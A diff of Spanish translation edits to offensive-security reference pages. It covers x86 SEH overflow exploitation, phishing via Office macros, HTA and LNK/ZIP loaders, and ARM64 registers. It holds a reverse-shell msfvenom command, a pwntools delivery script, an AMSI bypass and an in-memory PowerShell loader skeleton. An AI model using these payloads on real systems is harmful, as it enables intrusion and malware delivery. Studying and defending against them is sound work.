|
||||
Esta técnica es específica de procesos de 32 bits (x86). En sistemas modernos, prefiera un módulo sin SafeSEH y ASLR para el gadget. Los caracteres problemáticos suelen incluir 0x00, 0x0a, 0x0d (NUL/CR/LF) debido a C-strings y al parsing HTTP.
|
||||
|
||||
---
|
||||
|
||||
## Encontrar offsets exactos (nSEH / SEH)
|
||||
## Finding exact offsets (nSEH / SEH)
|
||||
|
||||
- Provoca un crash en el proceso y verifica que la cadena SEH ha sido sobrescrita (p. ej., en x32dbg/x64dbg, revisa la vista SEH).
|
||||
- Envía un patrón cíclico como los datos desbordantes y calcula los offsets de los dos dwords que caen en nSEH y SEH.
|
||||
- Crash the process and verify the SEH chain is overwritten (e.g., in x32dbg/x64dbg, check the SEH view).
|
||||
- Send a cyclic pattern as the overflowing data and compute offsets of the two dwords that land in nSEH and SEH.
|
||||
|
||||
Ejemplo con peda/GEF/pwntools en un cuerpo POST de 1000 bytes:
|
||||
Example with peda/GEF/pwntools on a 1000-byte POST body:
|
||||
```bash
|
||||
# generate pattern (any tool is fine)
|
||||
/usr/share/metasploit-framework/tools/exploit/pattern_create.rb -l 1000
|
||||
@ -37,9 +37,9 @@ Valida colocando marcadores en esas posiciones (p. ej., nSEH=b"BB", SEH=b"CC").
|
||||
|
||||
---
|
||||
|
||||
## Elección de un POP POP RET (SEH gadget)
|
||||
## Elegir un POP POP RET (SEH gadget)
|
||||
|
||||
Necesitas una secuencia POP POP RET para desenrollar el frame SEH y regresar a tus bytes nSEH. Búscala en un módulo sin SafeSEH y, preferiblemente, sin ASLR:
|
||||
Necesitas una secuencia POP POP RET para desempilar el frame SEH y regresar a tus bytes nSEH. Búscalo en un módulo sin SafeSEH y, idealmente, sin ASLR:
|
||||
|
||||
- Mona (Immunity/WinDbg): `!mona modules` luego `!mona seh -m modulename`.
|
||||
- x64dbg plugin ERC.Xdbg: `ERC --SEH` para listar POP POP RET gadgets y el estado de SafeSEH.
|
||||
@ -50,7 +50,7 @@ Elige una dirección que no contenga badchars cuando se escriba en little-endian
|
||||
|
||||
## Técnica de salto hacia atrás (short + near jmp)
|
||||
|
||||
nSEH solo tiene 4 bytes, lo que admite como mucho un short jump de 2 bytes (`EB xx`) más padding. Si debes saltar hacia atrás cientos de bytes para alcanzar el inicio de tu buffer, usa un near jump de 5 bytes colocado justo antes de nSEH y encadena hacia él con un short jump desde nSEH.
|
||||
nSEH solo tiene 4 bytes, lo que admite como máximo un short jump de 2 bytes (`EB xx`) más relleno. Si necesitas saltar hacia atrás cientos de bytes para alcanzar el inicio de tu buffer, usa un near jump de 5 bytes colocado justo antes de nSEH y encadénalo hacia él con un short jump desde nSEH.
|
||||
|
||||
Con nasmshell:
|
||||
```text
|
||||
@ -61,7 +61,7 @@ EBF6
|
||||
nasm> jmp -652 ; 8 bytes closer (to account for short-jmp hop)
|
||||
E96FFDFFFF
|
||||
```
|
||||
Idea de diseño para un payload de 1000 bytes con nSEH en el offset 660:
|
||||
Idea de diseño para un payload de 1000 bytes con nSEH en offset 660:
|
||||
```python
|
||||
buffer_length = 1000
|
||||
payload = b"\x90"*50 + shellcode # NOP sled + shellcode at buffer start
|
||||
@ -73,29 +73,29 @@ payload += b"D" * (buffer_length - len(payload))
|
||||
```
|
||||
Flujo de ejecución:
|
||||
- Ocurre una excepción, el dispatcher usa el SEH sobrescrito.
|
||||
- POP POP RET desempila hacia nuestro nSEH.
|
||||
- POP POP RET desenrolla hacia nuestro nSEH.
|
||||
- nSEH ejecuta `jmp short -8` hacia el near jump de 5 bytes.
|
||||
- El near jump aterriza al inicio de nuestro buffer donde residen el NOP sled + shellcode.
|
||||
- El Near jump aterriza al inicio de nuestro buffer donde residen el NOP sled + shellcode.
|
||||
|
||||
---
|
||||
|
||||
## Caracteres malos
|
||||
|
||||
Construye una cadena completa de badchar y compara la memoria del stack después del crash, eliminando bytes que sean alterados por el parser objetivo. Para HTTP-based overflows, `\x00\x0a\x0d` casi siempre están excluidos.
|
||||
Construye una cadena completa de badchars y compara la memoria de la pila después del crash, eliminando los bytes que son corrompidos por el parser objetivo. Para overflows basados en HTTP, `\x00\x0a\x0d` casi siempre están excluidos.
|
||||
```python
|
||||
badchars = bytes([x for x in range(1,256)])
|
||||
payload = b"A"*660 + b"BBBB" + b"CCCC" + badchars # position appropriately for your case
|
||||
```
|
||||
---
|
||||
|
||||
## Shellcode generation (x86)
|
||||
## Generación de shellcode (x86)
|
||||
|
||||
Usa msfvenom con tus badchars. Un pequeño NOP sled ayuda a tolerar variaciones en el punto de aterrizaje.
|
||||
Usa msfvenom con tus badchars. Un pequeño NOP sled ayuda a tolerar la variación del punto de aterrizaje.
|
||||
```bash
|
||||
msfvenom -a x86 --platform windows -p windows/shell_reverse_tcp LHOST=<LHOST> LPORT=<LPORT> \
|
||||
-b "\x00\x0a\x0d" -f python -v sc
|
||||
```
|
||||
Si se genera sobre la marcha, el formato hex es conveniente para incrustarlo y decodificarlo en Python:
|
||||
Si se genera sobre la marcha, el formato hex es conveniente para embed y unhex en Python:
|
||||
```bash
|
||||
msfvenom -a x86 --platform windows -p windows/shell_reverse_tcp LHOST=<LHOST> LPORT=<LPORT> \
|
||||
-b "\x00\x0a\x0d" -f hex
|
||||
@ -104,7 +104,7 @@ msfvenom -a x86 --platform windows -p windows/shell_reverse_tcp LHOST=<LHOST> LP
|
||||
|
||||
## Entrega vía HTTP (CRLF preciso + Content-Length)
|
||||
|
||||
Cuando el vector vulnerable es el cuerpo de una solicitud HTTP, construye una raw request con CRLFs exactos y Content-Length correcto para que el servidor lea todo el cuerpo que desborda.
|
||||
Cuando el vector vulnerable es el cuerpo de una solicitud HTTP, construye una petición raw con CRLFs exactos y Content-Length para que el servidor lea todo el cuerpo que desborda.
|
||||
```python
|
||||
# pip install pwntools
|
||||
from pwn import remote
|
||||
@ -127,21 +127,21 @@ p.close()
|
||||
|
||||
## Herramientas
|
||||
|
||||
- x32dbg/x64dbg para observar la cadena SEH y analizar el crash.
|
||||
- ERC.Xdbg (x64dbg plugin) para enumerar gadgets SEH: `ERC --SEH`.
|
||||
- x32dbg/x64dbg para observar la cadena SEH y triagear el crash.
|
||||
- ERC.Xdbg (x64dbg plugin) para enumerar SEH gadgets: `ERC --SEH`.
|
||||
- Mona como alternativa: `!mona modules`, `!mona seh`.
|
||||
- nasmshell para ensamblar saltos cortos/near y copiar raw opcodes.
|
||||
- nasmshell para ensamblar short/near jumps y copiar raw opcodes.
|
||||
- pwntools para crear payloads de red precisos.
|
||||
|
||||
---
|
||||
|
||||
## Notas y advertencias
|
||||
|
||||
- Aplica solo a procesos x86. x64 usa un esquema diferente de SEH y la explotación basada en SEH generalmente no es viable.
|
||||
- Solo aplica a procesos x86. x64 usa un esquema de SEH diferente y la explotación basada en SEH generalmente no es viable.
|
||||
- Preferir gadgets en módulos sin SafeSEH y ASLR; de lo contrario, encontrar un módulo no protegido cargado en el proceso.
|
||||
- Los watchdogs de servicio que reinician automáticamente tras un crash pueden facilitar el desarrollo iterativo del exploit.
|
||||
- Los watchdogs de servicio (service watchdogs) que reinician automáticamente tras un crash pueden facilitar el desarrollo iterativo del exploit.
|
||||
|
||||
## References
|
||||
## Referencias
|
||||
- [HTB: Rainbow – SEH overflow to RCE over HTTP (0xdf)](https://0xdf.gitlab.io/2025/08/07/htb-rainbow.html)
|
||||
- [ERC.Xdbg – Exploit Research Plugin for x64dbg (SEH search)](https://github.com/Andy53/ERC.Xdbg)
|
||||
- [Corelan – Exploit writing tutorial part 7 (SEH)](https://www.corelan.be/index.php/2009/07/19/exploit-writing-tutorial-part-7-unicode-0day-buffer-overflow-seh-and-venetian-shellcode/)
|
||||
|
@ -1,14 +1,14 @@
|
||||
# Phishing Archivos & Documentos
|
||||
# Phishing Archivos y Documentos
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
## Documentos de Office
|
||||
|
||||
Microsoft Word realiza la validación de datos del archivo antes de abrir un archivo. La validación de datos se realiza en forma de identificación de la estructura de datos, conforme al estándar OfficeOpenXML. Si ocurre algún error durante la identificación de la estructura de datos, el archivo que se está analizando no se abrirá.
|
||||
Microsoft Word realiza una validación de datos del archivo antes de abrirlo. La validación de datos se efectúa en forma de identificación de la estructura de datos, contra el estándar OfficeOpenXML. Si ocurre algún error durante la identificación de la estructura de datos, el archivo analizado no se abrirá.
|
||||
|
||||
Normalmente, los archivos de Word que contienen macros usan la extensión `.docm`. Sin embargo, es posible renombrar el archivo cambiando la extensión y aún conservar sus capacidades de ejecución de macros.\
|
||||
Por ejemplo, un archivo RTF no admite macros por diseño, pero un archivo DOCM renombrado a RTF será manejado por Microsoft Word y será capaz de ejecutar macros.\
|
||||
La misma lógica interna y los mismos mecanismos se aplican a todo el software de la Microsoft Office Suite (Excel, PowerPoint etc.).
|
||||
Normalmente, los archivos de Word que contienen macros usan la extensión `.docm`. Sin embargo, es posible renombrar el archivo cambiando la extensión y aún conservar la capacidad de ejecución de sus macros.\
|
||||
Por ejemplo, un archivo RTF no soporta macros, por diseño, pero un archivo DOCM renombrado a RTF será manejado por Microsoft Word y será capaz de ejecutar macros.\
|
||||
Los mismos mecanismos y estructuras internas se aplican a todo el software de la Microsoft Office Suite (Excel, PowerPoint, etc.).
|
||||
|
||||
Puedes usar el siguiente comando para comprobar qué extensiones van a ser ejecutadas por algunos programas de Office:
|
||||
```bash
|
||||
@ -19,7 +19,7 @@ Los archivos DOCX que referencian una plantilla remota (File –Options –Add-i
|
||||
### Carga de imagen externa
|
||||
|
||||
Ir a: _Insert --> Quick Parts --> Field_\
|
||||
_**Categorías**: Links and References, **Nombres de campo**: includePicture, y **Filename or URL**:_ http://<ip>/whatever
|
||||
_**Categorías**: Links and References, **Nombres de campo**: includePicture, y **Nombre de archivo o URL**:_ http://<ip>/whatever
|
||||
|
||||
.png>)
|
||||
|
||||
@ -27,7 +27,7 @@ _**Categorías**: Links and References, **Nombres de campo**: includePicture, y
|
||||
|
||||
Es posible usar macros para ejecutar código arbitrario desde el documento.
|
||||
|
||||
#### Autoload functions
|
||||
#### Funciones de autoload
|
||||
|
||||
Cuanto más comunes sean, más probable será que el AV las detecte.
|
||||
|
||||
@ -68,12 +68,12 @@ proc.Create "powershell <beacon line generated>
|
||||
|
||||
Ve a **File > Info > Inspect Document > Inspect Document**, lo que abrirá el Document Inspector. Haz clic en **Inspect** y luego en **Remove All** junto a **Document Properties and Personal Information**.
|
||||
|
||||
#### Doc Extension
|
||||
#### Extensión de documento
|
||||
|
||||
Al terminar, seleccione el desplegable **Save as type**, cambie el formato de **`.docx`** a **Word 97-2003 `.doc`**.\
|
||||
Haz esto porque **no puedes guardar macro's dentro de un `.docx`** y hay un **estigma** **alrededor** de la extensión habilitada para macros **`.docm`** (p. ej. el icono en miniatura tiene un enorme `!` y algunos gateways web/de correo las bloquean por completo). Por lo tanto, esta **extensión `.doc` heredada es el mejor compromiso**.
|
||||
Al terminar, selecciona el desplegable **Save as type**, cambia el formato de **`.docx`** a **Word 97-2003 `.doc`**.\
|
||||
Haz esto porque **no puedes guardar macro's inside a `.docx`** y existe un **estigma** **around** la extensión habilitada para macros **`.docm`** (p. ej., el icono en miniatura tiene un gran `!` y algunos web/email gateway las bloquean por completo). Por lo tanto, esta **legacy `.doc` extension es el mejor compromiso**.
|
||||
|
||||
#### Generadores de Macros maliciosas
|
||||
#### Malicious Macros Generators
|
||||
|
||||
- MacOS
|
||||
- [**macphish**](https://github.com/cldrn/macphish)
|
||||
@ -81,9 +81,9 @@ Haz esto porque **no puedes guardar macro's dentro de un `.docx`** y hay un **es
|
||||
|
||||
## Archivos HTA
|
||||
|
||||
Un HTA es un programa de Windows que **combina HTML y lenguajes de scripting (como VBScript y JScript)**. Genera la interfaz de usuario y se ejecuta como una aplicación "totalmente confiable", sin las limitaciones del modelo de seguridad de un navegador.
|
||||
Un HTA es un programa de Windows que **combina HTML y lenguajes de scripting (como VBScript y JScript)**. Genera la interfaz de usuario y se ejecuta como una aplicación "fully trusted", sin las restricciones del modelo de seguridad de un navegador.
|
||||
|
||||
Un HTA se ejecuta usando **`mshta.exe`**, que normalmente viene **instalado** junto con **Internet Explorer**, haciendo que **`mshta` dependa de IE**. Por lo tanto, si este ha sido desinstalado, los HTA no podrán ejecutarse.
|
||||
Un HTA se ejecuta usando **`mshta.exe`**, que normalmente está **installed** junto con **Internet Explorer**, lo que hace que **`mshta` dependant on IE**. Por lo tanto, si este ha sido desinstalado, los HTA no podrán ejecutarse.
|
||||
```html
|
||||
<--! Basic HTA Execution -->
|
||||
<html>
|
||||
@ -138,9 +138,9 @@ var_func
|
||||
self.close
|
||||
</script>
|
||||
```
|
||||
## Forcing NTLM Authentication
|
||||
## Forzar la autenticación NTLM
|
||||
|
||||
Hay varias formas de **forzar la autenticación NTLM "de forma remota"**, por ejemplo, puedes añadir **imágenes invisibles** a emails o HTML que el usuario abrirá (¿incluso HTTP MitM?). O enviar a la víctima la **dirección de archivos** que **dispararán** una **autenticación** solo por **abrir la carpeta.**
|
||||
Hay varias formas de **forzar la autenticación NTLM "remotamente"**, por ejemplo, puedes añadir **imágenes invisibles** a correos o HTML que el usuario accederá (¿incluso HTTP MitM?). O enviar a la víctima la **dirección de archivos** que **dispararán** una **autenticación** solo por **abrir la carpeta.**
|
||||
|
||||
**Consulta estas ideas y más en las siguientes páginas:**
|
||||
|
||||
@ -163,17 +163,17 @@ No olvides que no solo puedes robar el hash o la autenticación, sino también *
|
||||
|
||||
## LNK Loaders + ZIP-Embedded Payloads (fileless chain)
|
||||
|
||||
Las campañas altamente efectivas entregan un ZIP que contiene dos documentos señuelo legítimos (PDF/DOCX) y un .lnk malicioso. El truco es que el loader real de PowerShell está almacenado dentro de los bytes crudos del ZIP después de un marcador único, y el .lnk lo extrae y ejecuta completamente en memoria.
|
||||
Campañas altamente efectivas entregan un ZIP que contiene dos documentos señuelo legítimos (PDF/DOCX) y un .lnk malicioso. El truco es que el loader de PowerShell real se almacena dentro de los bytes crudos del ZIP después de un marcador único, y el .lnk lo extrae y ejecuta completamente en memoria.
|
||||
|
||||
Flujo típico implementado por el one-liner de PowerShell del .lnk:
|
||||
Flujo típico implementado por el one-liner de PowerShell en el .lnk:
|
||||
|
||||
1) Localizar el ZIP original en rutas comunes: Desktop, Downloads, Documents, %TEMP%, %ProgramData%, y el padre del directorio de trabajo actual.
|
||||
2) Leer los bytes del ZIP y buscar un marcador hardcodeado (p. ej., xFIQCV). Todo lo que venga después del marcador es la payload de PowerShell embebida.
|
||||
3) Copiar el ZIP a %ProgramData%, extraerlo allí y abrir el .docx señuelo para parecer legítimo.
|
||||
4) Bypassear AMSI para el proceso actual: [System.Management.Automation.AmsiUtils]::amsiInitFailed = $true
|
||||
5) Deobfuscar la siguiente etapa (p. ej., eliminar todos los caracteres #) y ejecutarla en memoria.
|
||||
1) Localizar el ZIP original en rutas comunes: Desktop, Downloads, Documents, %TEMP%, %ProgramData% y el directorio padre del directorio de trabajo actual.
|
||||
2) Leer los bytes del ZIP y encontrar un marcador hardcodeado (p. ej., xFIQCV). Todo lo que siga al marcador es la carga útil de PowerShell embebida.
|
||||
3) Copiar el ZIP a %ProgramData%, extraerlo allí y abrir el .docx señuelo para aparentar legitimidad.
|
||||
4) Evadir AMSI para el proceso actual: [System.Management.Automation.AmsiUtils]::amsiInitFailed = $true
|
||||
5) Desofuscar la siguiente etapa (p. ej., eliminar todos los caracteres #) y ejecutarla en memoria.
|
||||
|
||||
Example PowerShell skeleton to carve and run the embedded stage:
|
||||
Ejemplo de esqueleto de PowerShell para extraer y ejecutar la etapa embebida:
|
||||
```powershell
|
||||
$marker = [Text.Encoding]::ASCII.GetBytes('xFIQCV')
|
||||
$paths = @(
|
||||
@ -191,21 +191,21 @@ $code = [Text.Encoding]::UTF8.GetString($stage) -replace '#',''
|
||||
Invoke-Expression $code
|
||||
```
|
||||
Notas
|
||||
- La entrega a menudo abusa de subdominios PaaS reputados (p. ej., *.herokuapp.com) y puede condicionar payloads (servir ZIPs benignos según IP/UA).
|
||||
- La siguiente etapa frecuentemente desencripta shellcode base64/XOR y lo ejecuta vía Reflection.Emit + VirtualAlloc para minimizar artefactos en disco.
|
||||
- La entrega a menudo abusa de subdominios PaaS reputados (p. ej., *.herokuapp.com) y puede condicionar los payloads (servir ZIPs benignos según IP/UA).
|
||||
- La etapa siguiente con frecuencia descifra shellcode base64/XOR y lo ejecuta vía Reflection.Emit + VirtualAlloc para minimizar artefactos en disco.
|
||||
|
||||
Persistencia usada en la misma cadena
|
||||
- COM TypeLib hijacking of the Microsoft Web Browser control so that IE/Explorer or any app embedding it re-launches the payload automatically. See details and ready-to-use commands here:
|
||||
Persistencia utilizada en la misma cadena
|
||||
- COM TypeLib hijacking del Microsoft Web Browser control para que IE/Explorer o cualquier app que lo embeba vuelva a lanzar el payload automáticamente. Ver detalles y comandos listos para usar aquí:
|
||||
|
||||
{{#ref}}
|
||||
../../windows-hardening/windows-local-privilege-escalation/com-hijacking.md
|
||||
{{#endref}}
|
||||
|
||||
Hunting/IOCs
|
||||
- ZIP files containing the ASCII marker string (e.g., xFIQCV) appended to the archive data.
|
||||
- .lnk that enumerates parent/user folders to locate the ZIP and opens a decoy document.
|
||||
- AMSI tampering via [System.Management.Automation.AmsiUtils]::amsiInitFailed.
|
||||
- Long-running business threads ending with links hosted under trusted PaaS domains.
|
||||
- Archivos ZIP que contienen la cadena marcador ASCII (por ejemplo, xFIQCV) añadida a los datos del archivo.
|
||||
- .lnk que enumera carpetas padre/usuario para localizar el ZIP y abre un documento señuelo.
|
||||
- Manipulación de AMSI vía [System.Management.Automation.AmsiUtils]::amsiInitFailed.
|
||||
- Hilos de negocio de larga duración que terminan con enlaces alojados bajo dominios PaaS de confianza.
|
||||
|
||||
## Referencias
|
||||
|
||||
|
File diff suppressed because it is too large
Load Diff
@ -2,125 +2,128 @@
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
## **Niveles de Excepción - EL (ARM64v8)**
|
||||
## **Exception Levels - EL (ARM64v8)**
|
||||
|
||||
En la arquitectura ARMv8, los niveles de ejecución, conocidos como Niveles de Excepción (ELs), definen el nivel de privilegio y las capacidades del entorno de ejecución. Hay cuatro niveles de excepción, que van de EL0 a EL3, cada uno con un propósito diferente:
|
||||
En la arquitectura ARMv8, los niveles de ejecución, conocidos como Exception Levels (ELs), definen el nivel de privilegio y las capacidades del entorno de ejecución. Hay cuatro exception levels, que van desde EL0 hasta EL3, cada uno con un propósito diferente:
|
||||
|
||||
1. **EL0 - Modo de Usuario**:
|
||||
- Este es el nivel menos privilegiado y se utiliza para ejecutar código de aplicación regular.
|
||||
1. **EL0 - User Mode**:
|
||||
- Este es el nivel menos privilegiado y se usa para ejecutar código de aplicaciones normales.
|
||||
- Las aplicaciones que se ejecutan en EL0 están aisladas entre sí y del software del sistema, mejorando la seguridad y la estabilidad.
|
||||
2. **EL1 - Modo del Núcleo del Sistema Operativo**:
|
||||
- La mayoría de los núcleos de sistemas operativos se ejecutan en este nivel.
|
||||
- EL1 tiene más privilegios que EL0 y puede acceder a recursos del sistema, pero con algunas restricciones para garantizar la integridad del sistema.
|
||||
3. **EL2 - Modo de Hipervisor**:
|
||||
- Este nivel se utiliza para la virtualización. Un hipervisor que se ejecuta en EL2 puede gestionar múltiples sistemas operativos (cada uno en su propio EL1) que se ejecutan en el mismo hardware físico.
|
||||
2. **EL1 - Operating System Kernel Mode**:
|
||||
- La mayoría de los kernels de los sistemas operativos se ejecutan en este nivel.
|
||||
- EL1 tiene más privilegios que EL0 y puede acceder a los recursos del sistema, pero con algunas restricciones para asegurar la integridad del sistema.
|
||||
3. **EL2 - Hypervisor Mode**:
|
||||
- Este nivel se usa para virtualización. Un hypervisor que se ejecuta en EL2 puede gestionar múltiples sistemas operativos (cada uno en su propio EL1) ejecutándose en el mismo hardware físico.
|
||||
- EL2 proporciona características para el aislamiento y control de los entornos virtualizados.
|
||||
4. **EL3 - Modo de Monitor Seguro**:
|
||||
- Este es el nivel más privilegiado y se utiliza a menudo para el arranque seguro y entornos de ejecución confiables.
|
||||
- EL3 puede gestionar y controlar accesos entre estados seguros y no seguros (como arranque seguro, OS confiable, etc.).
|
||||
4. **EL3 - Secure Monitor Mode**:
|
||||
- Este es el nivel más privilegiado y a menudo se usa para secure boot y entornos de ejecución de confianza.
|
||||
- EL3 puede gestionar y controlar los accesos entre estados secure y non-secure (como secure boot, trusted OS, etc.).
|
||||
|
||||
El uso de estos niveles permite una forma estructurada y segura de gestionar diferentes aspectos del sistema, desde aplicaciones de usuario hasta el software del sistema más privilegiado. El enfoque de ARMv8 sobre los niveles de privilegio ayuda a aislar efectivamente diferentes componentes del sistema, mejorando así la seguridad y robustez del sistema.
|
||||
El uso de estos niveles permite una forma estructurada y segura de gestionar distintos aspectos del sistema, desde las aplicaciones de usuario hasta el software del sistema con mayores privilegios. El enfoque de ARMv8 sobre los niveles de privilegio ayuda a aislar efectivamente los distintos componentes del sistema, mejorando así la seguridad y la robustez del sistema.
|
||||
|
||||
## **Registros (ARM64v8)**
|
||||
## **Registers (ARM64v8)**
|
||||
|
||||
ARM64 tiene **31 registros de propósito general**, etiquetados de `x0` a `x30`. Cada uno puede almacenar un **valor de 64 bits** (8 bytes). Para operaciones que requieren solo valores de 32 bits, los mismos registros se pueden acceder en un modo de 32 bits utilizando los nombres w0 a w30.
|
||||
ARM64 tiene **31 registros de propósito general**, etiquetados `x0` hasta `x30`. Cada uno puede almacenar un valor de **64 bits** (8 bytes). Para operaciones que requieren solo valores de 32 bits, los mismos registros pueden accederse en modo de 32 bits usando los nombres `w0` hasta `w30`.
|
||||
|
||||
1. **`x0`** a **`x7`** - Estos se utilizan típicamente como registros temporales y para pasar parámetros a subrutinas.
|
||||
- **`x0`** también lleva los datos de retorno de una función.
|
||||
2. **`x8`** - En el núcleo de Linux, `x8` se utiliza como el número de llamada al sistema para la instrucción `svc`. **¡En macOS, el que se utiliza es x16!**
|
||||
3. **`x9`** a **`x15`** - Más registros temporales, a menudo utilizados para variables locales.
|
||||
4. **`x16`** y **`x17`** - **Registros de Llamada Intra-procedimental**. Registros temporales para valores inmediatos. También se utilizan para llamadas a funciones indirectas y stubs de PLT (Tabla de Enlace de Procedimientos).
|
||||
- **`x16`** se utiliza como el **número de llamada al sistema** para la instrucción **`svc`** en **macOS**.
|
||||
5. **`x18`** - **Registro de Plataforma**. Puede ser utilizado como un registro de propósito general, pero en algunas plataformas, este registro está reservado para usos específicos de la plataforma: Puntero al bloque de entorno de hilo local en Windows, o para apuntar a la **estructura de tarea actualmente ejecutándose en el núcleo de Linux**.
|
||||
6. **`x19`** a **`x28`** - Estos son registros guardados por el llamado. Una función debe preservar los valores de estos registros para su llamador, por lo que se almacenan en la pila y se recuperan antes de volver al llamador.
|
||||
7. **`x29`** - **Puntero de Marco** para hacer un seguimiento del marco de la pila. Cuando se crea un nuevo marco de pila porque se llama a una función, el registro **`x29`** se **almacena en la pila** y la **nueva** dirección del puntero de marco es (**`sp`** dirección) se **almacena en este registro**.
|
||||
- Este registro también puede ser utilizado como un **registro de propósito general**, aunque generalmente se usa como referencia a **variables locales**.
|
||||
8. **`x30`** o **`lr`** - **Registro de Enlace**. Contiene la **dirección de retorno** cuando se ejecuta una instrucción `BL` (Branch with Link) o `BLR` (Branch with Link to Register) almacenando el valor de **`pc`** en este registro.
|
||||
- También podría ser utilizado como cualquier otro registro.
|
||||
- Si la función actual va a llamar a una nueva función y, por lo tanto, sobrescribir `lr`, lo almacenará en la pila al principio, este es el epílogo (`stp x29, x30 , [sp, #-48]; mov x29, sp` -> Almacenar `fp` y `lr`, generar espacio y obtener nuevo `fp`) y lo recuperará al final, este es el prólogo (`ldp x29, x30, [sp], #48; ret` -> Recuperar `fp` y `lr` y retornar).
|
||||
9. **`sp`** - **Puntero de Pila**, utilizado para hacer un seguimiento de la parte superior de la pila.
|
||||
- El valor de **`sp`** siempre debe mantenerse con al menos una **alineación de cuádruple palabra** o puede ocurrir una excepción de alineación.
|
||||
10. **`pc`** - **Contador de Programa**, que apunta a la siguiente instrucción. Este registro solo puede ser actualizado a través de la generación de excepciones, retornos de excepciones y saltos. Las únicas instrucciones ordinarias que pueden leer este registro son las instrucciones de salto con enlace (BL, BLR) para almacenar la dirección **`pc`** en **`lr`** (Registro de Enlace).
|
||||
11. **`xzr`** - **Registro Cero**. También llamado **`wzr`** en su forma de registro de **32** bits. Puede ser utilizado para obtener el valor cero fácilmente (operación común) o para realizar comparaciones utilizando **`subs`** como **`subs XZR, Xn, #10`** almacenando los datos resultantes en ningún lado (en **`xzr`**).
|
||||
1. **`x0`** a **`x7`** - Normalmente se usan como registros temporales y para pasar parámetros a subrutinas.
|
||||
- **`x0`** también transporta los datos de retorno de una función
|
||||
2. **`x8`** - En el kernel de Linux, `x8` se usa como el número de syscall para la instrucción `svc`. **In macOS the x16 is the one used!**
|
||||
3. **`x9`** a **`x15`** - Más registros temporales, usados frecuentemente para variables locales.
|
||||
4. **`x16`** y **`x17`** - **Intra-procedural Call Registers**. Registros temporales para valores inmediatos. También se usan para llamadas indirectas a funciones y stubs de PLT (Procedure Linkage Table).
|
||||
- **`x16`** se usa como el **system call number** para la instrucción **`svc`** en **macOS**.
|
||||
5. **`x18`** - **Platform register**. Puede usarse como un registro de propósito general, pero en algunas plataformas este registro está reservado para usos específicos de la plataforma: puntero al bloque de entorno del hilo actual en Windows, o para apuntar a la **estructura de tarea actualmente ejecutada en el kernel de linux**.
|
||||
6. **`x19`** a **`x28`** - Estos son registros preservados por el callee. Una función debe preservar los valores de estos registros para su caller, por lo que se almacenan en la pila y se recuperan antes de volver al caller.
|
||||
7. **`x29`** - **Frame pointer** para llevar la pista del frame de la pila. Cuando se crea un nuevo frame de pila porque se llama a una función, el registro **`x29`** se **almacena en la pila** y la dirección del **nuevo** frame pointer (la dirección de **`sp`**) se **almacena en este registro**.
|
||||
- Este registro también puede usarse como un **registro de propósito general** aunque usualmente se usa como referencia para **variables locales**.
|
||||
8. **`x30`** or **`lr`**- **Link register**. Contiene la **dirección de retorno** cuando se ejecuta una instrucción `BL` (Branch with Link) o `BLR` (Branch with Link to Register) almacenando el valor de **`pc`** en este registro.
|
||||
- También puede usarse como cualquier otro registro.
|
||||
- Si la función actual va a llamar a una nueva función y por tanto sobrescribir `lr`, lo almacenará en la pila al principio; esto es el epílogo (`stp x29, x30 , [sp, #-48]; mov x29, sp` -> Store `fp` and `lr`, generate space and get new `fp`) y lo recupera al final; esto es el prólogo (`ldp x29, x30, [sp], #48; ret` -> Recover `fp` and `lr` and return).
|
||||
9. **`sp`** - **Stack pointer**, usado para llevar la pista del tope de la pila.
|
||||
- el valor de **`sp`** debe mantenerse siempre con al menos una **alineación de quadword** o puede ocurrir una excepción de alineación.
|
||||
10. **`pc`** - **Program counter**, que apunta a la siguiente instrucción. Este registro solo puede actualizarse mediante la generación de excepciones, retornos de excepción y branches. Las únicas instrucciones ordinarias que pueden leer este registro son las branch with link (BL, BLR) para almacenar la dirección de **`pc`** en **`lr`** (Link Register).
|
||||
11. **`xzr`** - **Zero register**. También llamado **`wzr`** en su forma de registro **32**-bit. Puede usarse para obtener fácilmente el valor cero (operación común) o para realizar comparaciones usando **`subs`** como **`subs XZR, Xn, #10`** almacenando los datos resultantes en ninguna parte (en **`xzr`**).
|
||||
|
||||
Los registros **`Wn`** son la versión de **32 bits** del registro **`Xn`**.
|
||||
Los registros **`Wn`** son la versión de **32 bit** del registro **`Xn`**.
|
||||
|
||||
### Registros SIMD y de Punto Flotante
|
||||
> [!TIP]
|
||||
> Los registros de X0 - X18 son volátiles, lo que significa que sus valores pueden cambiar por llamadas a funciones e interrupciones. Sin embargo, los registros de X19 - X28 son no volátiles, lo que significa que sus valores deben preservarse a través de llamadas a funciones ("callee saved").
|
||||
|
||||
Además, hay otros **32 registros de longitud 128 bits** que pueden ser utilizados en operaciones optimizadas de datos múltiples de una sola instrucción (SIMD) y para realizar aritmética de punto flotante. Estos se llaman registros Vn, aunque también pueden operar en **64** bits, **32** bits, **16** bits y **8** bits y luego se llaman **`Qn`**, **`Dn`**, **`Sn`**, **`Hn`** y **`Bn`**.
|
||||
### SIMD and Floating-Point Registers
|
||||
|
||||
### Registros del Sistema
|
||||
Además, hay otros **32 registros de 128bit** que pueden usarse en operaciones SIMD (single instruction multiple data) optimizadas y para realizar aritmética en coma flotante. Estos se llaman registros Vn aunque también pueden operar en **64**-bit, **32**-bit, **16**-bit y **8**-bit y entonces se denominan **`Qn`**, **`Dn`**, **`Sn`**, **`Hn`** y **`Bn`**.
|
||||
|
||||
**Hay cientos de registros del sistema**, también llamados registros de propósito especial (SPRs), que se utilizan para **monitorear** y **controlar** el comportamiento de los **procesadores**.\
|
||||
Solo se pueden leer o establecer utilizando las instrucciones especiales dedicadas **`mrs`** y **`msr`**.
|
||||
### System Registers
|
||||
|
||||
Los registros especiales **`TPIDR_EL0`** y **`TPIDDR_EL0`** se encuentran comúnmente al realizar ingeniería inversa. El sufijo `EL0` indica la **excepción mínima** desde la cual se puede acceder al registro (en este caso, EL0 es el nivel de excepción (privilegio) regular con el que se ejecutan los programas regulares).\
|
||||
A menudo se utilizan para almacenar la **dirección base de la región de almacenamiento local de hilos** en memoria. Por lo general, el primero es legible y escribible para programas que se ejecutan en EL0, pero el segundo se puede leer desde EL0 y escribir desde EL1 (como el núcleo).
|
||||
**Hay cientos de system registers**, también llamados special-purpose registers (SPRs), que se usan para **monitorizar** y **controlar** el comportamiento de los **procesadores**.\
|
||||
Solo pueden leerse o establecerse usando las instrucciones especiales dedicadas **`mrs`** y **`msr`**.
|
||||
|
||||
